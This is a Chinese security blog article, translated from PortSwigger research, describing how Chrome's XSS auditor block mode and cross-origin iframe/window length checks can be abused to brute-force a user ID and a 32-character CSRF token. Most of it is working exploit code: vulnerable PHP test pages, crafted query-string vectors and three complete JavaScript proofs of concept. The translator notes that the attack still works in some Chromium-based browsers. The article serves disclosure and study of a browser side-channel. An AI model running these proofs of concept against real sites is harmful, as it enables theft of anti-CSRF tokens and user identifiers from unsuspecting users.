利用Chrome XSS auditor盗取tokens

2015-08-20 295652人围观 ,发现 7 个不明物体 WEB安全

提到XSS auditor我们更多想到的便是绕过。XSS auditor实在可恶,不知让我们死了多少脑细胞,今天咱们就来看看歪果仁是怎样利用Chrome的XSS auditor实现盗取token的,吐一口恶气吧!

检测XSS auditor

James告诉我说在Chrome的Xss auditor中有一个块模式,对此我表示十分的有兴趣。当http头设置为:

X-XSS-Protection: 1; mode=block

如果检测到存在XSS攻击,XSS auditor会删除页面上所有的内容。我认为我们可以利用这个特性,因为目标站点包含一个iframe,接着使用窗口的长度属性去判断这个iframe是否还存在。现目前大部分浏览器都可以使用contentWindow.length进行跨域。下面是演示范例

<iframe onload="alert(this.contentWindow.length)" src="http://somedomain/with_iframe"></iframe>

所以,如果这个站点包含iframe那么弹出窗口会显示1,反之则会显示0。如果有许多个iframe,在弹出的窗口会显示具体的iframe数量。

获取用户ID

首先我就在想如何利用这一特性从内联脚本中读取用户ID。如果XSS auditor活跃的话,可以通过注入假的XSS向量并监视长度属性进行观察。注入一系列虚假向量,每次递增一个用户ID来检测正确值。目标页面的输出大概是这样。

<?php
header("X-XSS-Protection: 1; mode=block");
?>
test
<iframe></iframe>
test
<script>
uid = 1337;
</script>
<div>x</div>

正如你看到的,我们在块模式中写入了XSS过滤,该页面包含一个iframe以及脚本块中包含了一个用户ID。下面为假向量

?fakevector=<script>%0auid = 1;%0a
?fakevector=<script>%0auid = 2;%0a
?fakevector=<script>%0auid = 3;%0a
?fakevector=<script>%0auid = 4;%0a
...

XSS auditor忽略了关闭的脚本,但是末尾那一行是为了检测XSS的需要。下面为一个简单的提取uid的PoC

<body>
<script>
!function(){
 var url = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = %s;%0a<\/script>',
  amount = 9999, maxNumOfIframes = 1;
 for(var i=0;i<maxNumOfIframes;i++) {
  createIframe(i*amount,(i*amount)+amount,i);
 }
 function createIframe(min, max) {
  var iframe = document.createElement('iframe'), div, p = document.createElement('p');
  iframe.title = min;
  iframe.onload = function() {
   if(!this.contentWindow.length){
    p.innerText = 'uid='+this.title;
    document.body.removeChild(this);
    return false;
   }
   if(this.title > max) {
    document.body.removeChild(this); 
   } else {
    this.contentWindow.location = url.replace(/%s/,++this.title)+'&'+(+new Date);
   }
   p.innerText = 'Bruteforcing...'+this.title;
  }
  iframe.src = url.replace(/%s/,iframe.title);
  document.body.appendChild(iframe);
  document.body.appendChild(p);
 }
}(); 
</script>
</body>

上述代码创建一个iframe(你也可以创建多个iframe,在本例中创建一个iframe是为了更快的演示),使用onload处理程序并检测contentWindow.length属性,如果没有返回一个用户ID,那么会通过设置iframe位置继续尝试下一个值。

窗口使用

如果网站使用x-frame-options选项或者CSP策略,然而也并没有什么卵用,使用新窗口仍然可以检测XSS auditor。不幸的是,在新窗口我们无法使用onload 事件处理程序,由于安全因素我们无法实现跨域。然而我们可以使用超时/间隔来绕过它,然后静待页面加载。

<script>
function poc(id) {
 if(!window.win) {
  win = window.open('http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date),'');
 } else {
  win.location = 'http://somedomain/chrome_xss_filter_bruteforce/test.php?x=<script>%0auid = '+id+';%0a<\/script>&'+(+new Date);
 }
 
 timer=setInterval(function(){
  try {
   win.document.documentElement;
  } catch(e) {  
   if(win && !win.length) {
    clearInterval(timer);
    alert('uid='+id);
   } else {
    clearInterval(timer);
    poc(++id);
   }
  }
 },20);
} 
</script>
<a href="#" onclick="poc(1)">PoC</a>

第一行用来检测是否存在一个窗口,如果不存在那么就创建一个窗口并存储一个会引用到的全局变量。接着使用一个20毫秒的时间间隔进行反复检测XSS是否发生,如果没有发生就继续调用该函数。

盗取token

到目前为止我们讨论的方法虽然很炫酷,但是有点站不住脚,可以检索的数据有些限制并且需要以某种特殊的方式形成脚本块。 Eduardo Vela建议我使用表单动作以及现有的参数来完成。我创建了一个PoC成功的从表单动作中提取到一个32字符的hash。

该页面在获取到你所想要的token之前,需要一个iframe,块模式以及一个过滤参数来呈现。

<?php
header("X-XSS-Protection: 1;mode=block"); 
session_start();
if(!isset($_SESSION['token'])) {
 $token = md5(time());
 $_SESSION['token'] = $token;
} else {
 $token = $_SESSION['token'];
}
?>
<iframe></iframe>
<form action="testurl.php?x=<?php echo htmlentities($_GET['x'])?>&token=<?php echo $token?>"></form>
<?php echo $token?>

PoC:

<body>
<div id="x"></div>
<script>
function poc(){
 var iframe = document.createElement('iframe'),
  padding = '1234567891234567891234567891234567891234567891234567891234567891234567'.split(''),
  token = "a".split(''),
  tokenLen = 32, its = 0,
  url = 'http://somedomain/chrome_xss_filter_bruteforce/form.php?x=%s&fakeparam=%3Cform%20action=%22testurl.php?x=%s2&token=%s3', last, repeated = 0;
 iframe.src = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
 iframe.width = 700;
 iframe.height = 500;
 iframe.onload = function() {
  if(token.length === tokenLen+1) {
   alert('The token is:'+token.slice(0,-1).join(''));
   document.getElementById('x').innerText = document.getElementById('x').innerText.slice(0,-1);
   return false;
  }
  if(this.contentWindow.length) {
   getNextChar();
   if(its > 20) {
    token.pop();
    token[token.length-1] = '0';
    token.push("a");
    its = 0;
    repeated++;   
   }
   if(repeated > 2) {
    repeated = 0;
    its = 0;
    token.pop();
    token.pop();
    token[token.length-1] = '0';
    token.push('0');
    token.push('a');
   }
   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
   its++;
  } else {
   repeated = 0;
   its = 0;
   token.push("a");
   padding.pop();
   this.contentWindow.location = url.replace(/%s/,padding.join('')).replace(/%s2/,padding.join('')).replace(/%s/,token.join(''));
  }
  document.getElementById('x').innerText = 'Token:'+token.join('');
 }
 document.body.appendChild(iframe); 
 function getNextChar() {
  chr = token[token.length-1]; 
  if(chr === 'f' && last === 'f') {
   token[token.length-1] = '1';
   last = '1';
   return false;
  }  else if(chr === '9' && last === '9') {
   token[token.length-1] = 'a';
   last = 'a';
   return false;
  }
  
  if(chr >= 'a' && chr < 'f') {
   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);
  } else if(chr === 'f') {
   token[token.length-1] = 'f';
  }  else if(chr >= '0' && chr < '9') {
   token[token.length-1] = String.fromCharCode(chr.charCodeAt()+1);
  }  else if(chr === '9') {
   token[token.length-1] = '9';
  }
  last = chr;
 }
}
poc();
</script>
</body>

POC演示

最后的PoC演示,虽然在最新的Chrome中已经被修复了,但译者测试国内基于Chrome内核的几个浏览器都还能用耶。

我们这里有一个演示视频,可供参考。

链接:http://pan.baidu.com/s/1pJoWu9d 密码:hnut

* 参考来源portswigger,译者/鸢尾 转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

发表评论

已有 7 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php